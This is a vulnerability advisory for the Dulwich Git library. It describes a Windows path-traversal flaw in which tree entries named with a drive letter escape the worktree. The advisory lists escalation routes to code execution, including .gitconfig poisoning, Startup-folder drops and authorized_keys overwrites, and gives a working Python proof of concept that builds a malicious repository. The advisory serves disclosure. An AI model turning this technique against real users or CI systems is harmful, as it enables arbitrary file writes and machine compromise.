Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths

### Affected files * `dulwich/index.py` (Methods: `validate_path_element_ntfs`, `_tree_to_fs_path`) * `dulwich/porcelain/__init__.py` (Method: `_checked_worktree_path`) ### Description / Summary A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject `.git` variants, Alternate Data Streams (ADS), `git~1` short names, and reserved device names, but they completely fail to check for **DOS drive letter prefixes**. A malicious Git tree can contain an entry named `C:`. When Dulwich processes this tree on a Windows client, the string passes the `validate_path_element_ntfs` check. Later, `_tree_to_fs_path` passes this path to `os.path.join(root, b"C:\\\\Users\\\\...")`. On Windows, if the second argument to `os.path.join` contains an absolute drive letter, the `root` path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree. While the standard C `git` client explicitly blocks this via `has_dos_drive_prefix()` in `path.c`, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it. ### Potential impact This vulnerability allows an attacker to achieve **Arbitrary File Write**, which can trivially be escalated to **Remote Code Execution (RCE)** or total system compromise on the victim's Windows machine. Attack vectors include: 1. **Git Config Poisoning (RCE):** Writing a malicious `C:\\Users\\<victim>\\.gitconfig` file to set `core.sshCommand` to an arbitrary executable, granting RCE the next time the user interacts with Git. 2. **Persistence (RCE):** Dropping a malicious executable into `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\`. 3. **SSH Key Overwrite:** Writing to `C:\\Users\\<victim>\\.ssh\\authorized_keys` to compromise remote servers accessible by the victim. 4. **CI/CD Compromise:** If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets. ### Proof of Concept (PoC) The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients. ```python from dulwich.objects import Blob, Tree, Commit from dulwich.repo import Repo import os, tempfile repo_path = tempfile.mkdtemp() repo = Repo.init(repo_path) # 1. Build the payload blob. blob = Blob(); blob.data = b"pwned-by-drive-letter\\n" repo.object_store.add_object(blob) # 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt evil_txt = Tree(); evil_txt[b"evil.txt"] = (0o100644, blob.id) repo.object_store.add_object(evil_txt) victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id) repo.object_store.add_object(victim_dir) users_dir = Tree(); users_dir[b"Users"] = (0o040000, victim_dir.id) repo.object_store.add_object(users_dir) # VULNERABILITY: The "C:" directory bypasses validation c_drive = Tree(); c_drive[b"C:"] = (0o040000, users_dir.id) repo.object_store.add_object(c_drive) commit = Commit() commit.tree = c_drive.id commit.message = b"add feature" commit.author = commit.committer = b"attacker <[email protected]>" commit.author_time = commit.commit_time = 1700000000 commit.author_timezone = commit.committer_timezone = 0 repo.object_store.add_object(commit) repo.refs[b"refs/heads/main"] = commit.id print(f"Malicious repo created at {repo_path}") print(f"Clone with: dulwich clone {repo_path} /target/win/worktree") # Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt ```